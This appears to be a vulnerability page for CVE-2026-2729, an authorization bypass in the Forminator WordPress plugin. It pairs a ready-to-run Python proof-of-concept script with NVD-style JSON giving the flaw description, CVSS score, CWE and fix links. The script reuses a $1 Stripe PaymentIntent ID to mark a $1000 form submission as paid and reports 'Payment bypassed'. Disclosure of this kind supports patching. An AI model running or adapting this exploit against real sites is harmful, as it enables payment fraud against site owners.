CVE-2026-2729

# PoC for CVE-2026-2729: Authorization Bypass via Payment Intent Reuse # This script demonstrates the logic flaw where a low-value PaymentIntent ID # is used to validate a high-value form submission. import requests target_url = "http://example.com/wp-json/forminator/v1/payment/confirm" # 1. Attacker performs a small legitimate payment (e.g. $1) and gets the ID # Assume 'pi_low_value' is the ID from a successful $1 transaction low_value_pi = "pi_3AbCdEfGhIjKlMnOpQrStUvWx" # 2. Attacker prepares a high-value form submission payload payload = { "form_id": "123", "entry_id": "456", "stripe_payment_intent_id": low_value_pi, # Vulnerability: Reusing low value ID "amount": "1000.00", # The actual amount required by the form "currency": "USD" } # 3. Send the request to complete the payment response = requests.post(target_url, data=payload) if response.status_code == 200 and response.json().get('success'): print("[+] Exploit successful! Payment bypassed.") else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-2729", "sourceIdentifier": "[email protected]", "published": "2026-05-05T07:15:59.960", "lastModified": "2026-05-05T19:08:20.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Forminator plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.52.0. This is due to the plugin not properly verifying that a user is authorized to perform an action when processing attacker-supplied Stripe PaymentIntent identifiers in the public payment flow. This makes it possible for unauthenticated attackers to submit high-value paid forms as completed by reusing a previously succeeded low-value Stripe PaymentIntent, resulting in underpayment/payment bypass conditions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3500669/forminator", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1afb94ab-b3ba-4598-8ff4-f9ffc6717371?source=cve", "source": "[email protected]"}]}}